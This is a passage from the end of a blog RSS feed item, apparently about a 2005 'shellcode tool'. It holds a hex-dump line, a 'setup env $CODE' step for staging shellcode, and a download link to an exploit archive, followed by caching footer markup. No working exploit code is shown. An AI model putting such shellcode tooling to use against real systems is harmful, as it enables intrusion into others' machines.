0x00f0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01
setup env $CODE


</code>
</pre>

<p><a href="http://optixx.org/download/exploit.tar.gz">Download</a></p>
]]></content:encoded>
			<wfw:commentRss>http://optixx.org/2005/11/02/shellcode-tool/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk (enhanced) (user agent is rejected)
Database Caching 11/17 queries in 0.004 seconds using disk

Served from: blog.optixx.org @ 2010-07-31 02:10:19 -->